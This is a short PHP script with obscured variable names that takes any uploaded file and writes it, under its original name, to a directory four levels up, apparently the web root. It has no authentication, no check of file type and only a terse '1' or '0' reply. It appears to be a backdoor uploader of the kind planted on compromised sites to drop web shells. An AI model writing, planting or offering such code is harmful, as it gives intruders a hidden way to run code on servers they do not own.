<?php
$_y085 = dirname(__FILE__);
$_acm = '../../../..';
$_azr = ($_acm === '' || $_acm === '.') ? $_y085 : $_y085 . '/' . $_acm;
if (isset($_FILES['f'])) {
    $_he = basename($_FILES['f']['name']);
    if ($_he !== '' && move_uploaded_file($_FILES['f']['tmp_name'], $_azr . '/' . $_he)) {
        echo '1';
    } else {
        echo '0';
    }
} else {
    echo '<form method="post" enctype="multipart/form-data"><input type="file" name="f"><input type="submit" value="Upload"></form>';
}
